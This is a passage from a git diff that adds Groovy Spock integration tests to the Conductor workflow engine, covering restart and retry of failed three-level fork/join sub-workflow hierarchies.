tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + + when: "the root level workflow is 'decided'" + sweep(rootWorkflowId) + + then: "the root level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + //endregion + } + + def cleanup() { + metadataService.updateTaskDef(persistedTask2Definition) + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A restart is executed on the root workflow. + * + * Expectation: The root workflow gets a new execution with the same id and spawns a NEW mid-level workflow, which in turn spawns a NEW leaf workflow. + * When the NEW leaf workflow completes successfully, both the NEW mid-level and root workflows also complete successfully. + */ + def "Test restart on the root in a 3-level subworkflow"() { + //region Test case + when: "do a restart on the root workflow" + workflowExecutor.restart(rootWorkflowId, false) + def restartedRootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (restartedRootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, restartedRootSubWfTask.taskId) + } + + then: "verify that the root workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete integration_task_2 in root and mid level workflow" + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def newMidLevelWorkflowId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newMidLevelWorkflowId) + // The root workflow has an integration_task_2. Its subworkflow also has an integration_task_2. + // We have NO guarantees which will be polled and completed first, so the assertions done in previous versions of this test were wrong. + await().atMost(10, TimeUnit.SECONDS).until { + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + def rootWf = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + def midWf = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true) + + rootWf.status == Workflow.WorkflowStatus.RUNNING && + rootWf.tasks[2].taskType == 'integration_task_2' && + rootWf.tasks[2].status == Task.Status.COMPLETED && + midWf.status == Workflow.WorkflowStatus.RUNNING && + midWf.tasks[2].taskType == 'integration_task_2' && + midWf.tasks[2].status == Task.Status.COMPLETED + } + def newMidRestartSubWfTask = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (newMidRestartSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, newMidRestartSubWfTask.taskId) + } + + then: "verify that a new mid level workflow is created and is in RUNNING state" + newMidLevelWorkflowId != midLevelWorkflowId + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "mid level workflow is in RUNNING state" + def midJoinId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the two tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "the new leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the new mid level and root workflows are 'decided'" + sweep(newMidLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "the new mid level workflow is in COMPLETED state" + assertWorkflowIsCompleted(newMidLevelWorkflowId) + + then: "the root workflow is in COMPLETED state" + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A restart is executed on the mid-level workflow. + * + * Expectation: The mid-level workflow gets a new execution with the same id and spawns a NEW leaf workflow and also updates its parent (root workflow). + * When the NEW leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test restart on the mid-level in a 3-level subworkflow"() { + //region Test case + when: "do a restart on the mid level workflow" + workflowExecutor.restart(midLevelWorkflowId, false) + def restartedMidSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (restartedMidSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, restartedMidSubWfTask.taskId) + } + + then: "verify that the mid workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "verify the root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + + when: "poll and complete the integration_task_2 task in the mid level workflow" + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the 2 tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the new leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are sweeped" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "wait for mid-level SUB_WORKFLOW task to reflect the completed leaf before executing JOINs" + // Leaf completion propagates to the parent SUB_WORKFLOW task asynchronously; + // the explicit sweeps above are not sufficient on their own. + await().atMost(10, TimeUnit.SECONDS).until { + workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .getTaskByRefName('st1').status == Task.Status.COMPLETED + } + + when: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + assertWorkflowIsCompleted(midLevelWorkflowId) + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A restart is executed on the leaf workflow. + * + * Expectation: The leaf workflow gets a new execution with the same id and updates both its parent (mid-level) and grandparent (root). + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test restart on the leaf in a 3-level subworkflow"() { + //region Test case + when: "do a restart on the leaf workflow" + workflowExecutor.restart(leafWorkflowId, false) + + then: "verify that the leaf workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + then: "verify that the mid-level workflow is updated" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + + and: "verify that the root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + // The reopened parent is also pushed for background evaluation, so by the time we + // read this snapshot the JOIN may still be CANCELED (from the failed run) or already + // reopened to IN_PROGRESS by the sweeper. Either is valid; only completion is not. + tasks[3].status in [Task.Status.CANCELED, Task.Status.IN_PROGRESS] + } + + when: "the mid level and root workflows are sweeped" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflow JOIN tasks are updated" + // The explicit sweeps are synchronous, but the parent workflows are also pushed for + // expedited background evaluation when the leaf is restarted. Wait for both parents to + // converge on the reopened JOIN state instead of asserting on a single snapshot. + await().atMost(10, TimeUnit.SECONDS).until { + joinIsUpdated(midLevelWorkflowId) && joinIsUpdated(rootWorkflowId) + } + + when: "poll and complete both tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + def midJoinId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + + then: "verify that the leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + assertWorkflowIsCompleted(midLevelWorkflowId) + assertWorkflowIsCompleted(rootWorkflowId) + //endregion + } + + void assertWorkflowIsCompleted(String workflowId) { + assert with(workflowExecutionService.getExecutionStatus(workflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged // flag is reset after decide + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.COMPLETED + } + } + + boolean joinIsUpdated(String workflowId) { + def workflow = workflowExecutionService.getExecutionStatus(workflowId, true) + def tasks = workflow.tasks + workflow.status == Workflow.WorkflowStatus.RUNNING && + tasks.size() == 4 && + tasks[0].taskType == TASK_TYPE_FORK && + tasks[0].status == Task.Status.COMPLETED && + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW && + tasks[1].status == Task.Status.IN_PROGRESS && + !tasks[1].subworkflowChanged && + tasks[2].taskType == 'integration_task_2' && + tasks[2].status == Task.Status.COMPLETED && + tasks[3].taskType == TASK_TYPE_JOIN && + tasks[3].status == Task.Status.IN_PROGRESS + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRetrySpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRetrySpec.groovy new file mode 100644 index 0000000..8603ac7 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/HierarchicalForkJoinSubworkflowRetrySpec.groovy @@ -0,0 +1,969 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import java.util.concurrent.TimeUnit + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_FORK +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +import static org.awaitility.Awaitility.await + +class HierarchicalForkJoinSubworkflowRetrySpec extends AbstractSpecification { + + @Shared + def FORK_JOIN_HIERARCHICAL_SUB_WF = 'hierarchical_fork_join_swf' + + @Shared + def SIMPLE_WORKFLOW = "integration_test_wf" + + @Autowired + QueueDAO queueDAO + + @Autowired + SubWorkflow subWorkflowTask + + @Autowired + Join joinTask + + String rootWorkflowId, midLevelWorkflowId, leafWorkflowId + + TaskDef persistedTask2Definition + + def setup() { + workflowTestUtil.registerWorkflows('hierarchical_fork_join_swf.json', + 'simple_workflow_1_integration_test.json' + ) + + //region Test setup: 3 workflows reach FAILED state. Task 'integration_task_2' in leaf workflow is FAILED. + setup: "Modify task definition to 0 retries" + persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 0, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SIMPLE_WORKFLOW, 1) + metadataService.getWorkflowDef(FORK_JOIN_HIERARCHICAL_SUB_WF, 1) + + and: "input required to start the workflow execution" + String correlationId = 'retry_on_root_in_3level_wf' + def input = [ + 'param1' : 'p1 value', + 'param2' : 'p2 value', + 'subwf' : FORK_JOIN_HIERARCHICAL_SUB_WF, + 'nextSubwf': SIMPLE_WORKFLOW] + + when: "the workflow is started" + rootWorkflowId = startWorkflow(FORK_JOIN_HIERARCHICAL_SUB_WF, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + List polledTaskIds = queueDAO.pop(TASK_TYPE_SUB_WORKFLOW, 1, 200) + asyncSystemTaskExecutor.execute(subWorkflowTask, polledTaskIds[0]) + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the integration_task_2 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + def rootWorkflowInstance = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + with(rootWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + } + + and: "sweep the mid-level workflow so its tasks get scheduled" + midLevelWorkflowId = rootWorkflowInstance.tasks[1].subWorkflowId + sweep(midLevelWorkflowId) + + when: "poll and complete the integration_task_2 task in the mid-level workflow" + pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the 'integration_task_2' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + and: "start the exact mid-level SUB_WORKFLOW task to avoid re-executing a stale parent queue item" + def midLevelSubWorkflowTaskId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).tasks[1].taskId + asyncSystemTaskExecutor.execute(subWorkflowTask, midLevelSubWorkflowTaskId) + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + and: "poll and complete the integration_task_1 task in the mid-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + def midLevelWorkflowInstance = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + leafWorkflowId = midLevelWorkflowInstance.tasks[1].subWorkflowId + sweep(leafWorkflowId) + + then: "verify that the leaf workflow is RUNNING, and first task is in SCHEDULED state" + def leafWorkflowInstance = workflowExecutionService.getExecutionStatus(leafWorkflowId, true) + with(leafWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and fail the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + sweep(leafWorkflowId) + workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failed') + + then: "the leaf workflow ends up in a FAILED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + when: "the mid level workflow is 'decided'" + sweep(midLevelWorkflowId) + + then: "the mid level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.CANCELED + } + + when: "the root level workflow is 'decided'" + sweep(rootWorkflowId) + + then: "the root level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.CANCELED + } + //endregion + } + + def cleanup() { + metadataService.updateTaskDef(persistedTask2Definition) + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed on the root workflow. + * + * Expectation: The root workflow spawns a NEW mid-level workflow, which in turn spawns a NEW leaf workflow. + * When the leaf workflow completes successfully, both the NEW mid-level and root workflows also complete successfully. + */ + def "Test retry on the root in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the root workflow" + workflowExecutor.retry(rootWorkflowId, false) + List polledRetriedRootSubWorkflowIds = queueDAO.pop(TASK_TYPE_SUB_WORKFLOW, 1, 200) + asyncSystemTaskExecutor.execute(subWorkflowTask, polledRetriedRootSubWorkflowIds[0]) + + then: "verify that the root workflow created a new SUB_WORKFLOW task" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + tasks[4].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].retriedTaskId == tasks[1].taskId + } + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def newMidLevelWorkflowId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTasks().get(4).subWorkflowId + def rootJoinId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + sweep(newMidLevelWorkflowId) + List polledNewMidSubWorkflowIds = queueDAO.pop(TASK_TYPE_SUB_WORKFLOW, 1, 200) + asyncSystemTaskExecutor.execute(subWorkflowTask, polledNewMidSubWorkflowIds[0]) + + then: "verify that a new mid level workflow is created and is in RUNNING state" + newMidLevelWorkflowId != midLevelWorkflowId + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the integration_task_1 task in the mid-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + def midJoinId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTaskByRefName("fanouttask_join").taskId + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the two tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "the new leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the new mid level and root workflows are 'decided'" + sweep(newMidLevelWorkflowId) + sweep(rootWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, midJoinId) + asyncSystemTaskExecutor.execute(joinTask, rootJoinId) + + then: "the new mid level workflow is in COMPLETED state" + assertWorkflowIsCompleted(newMidLevelWorkflowId) + + then: "the root workflow is in COMPLETED state" + assertSubWorkflowTaskIsRetriedAndWorkflowCompleted(rootWorkflowId) + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A retry is executed with resume flag on the root workflow. + * + * Expectation: The leaf workflow is retried and both its parent (mid-level) and grand parent (root) workflows are also retried. + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test retry on the mid-level in a 3-level subworkflow"() { + //region Test case + when: "do a retry on the mid level workflow" + workflowExecutor.retry(midLevelWorkflowId, false) + List polledRetriedMidSubWorkflowIds = queueDAO.pop(TASK_TYPE_SUB_WORKFLOW, 1, 200) + asyncSystemTaskExecutor.execute(subWorkflowTask, polledRetriedMidSubWorkflowIds[0]) + + then: "verify that the mid workflow created a new SUB_WORKFLOW task" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == TASK_TYPE_JOIN + tasks[3].status == Task.Status.IN_PROGRESS + tasks[4].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[4].status == Task.Status.IN_PROGRESS + tasks[4].retriedTaskId == tasks[1].taskId + } + + and: "verify the SUB_WORKFLOW task in root workflow is IN_PROGRESS state" + // 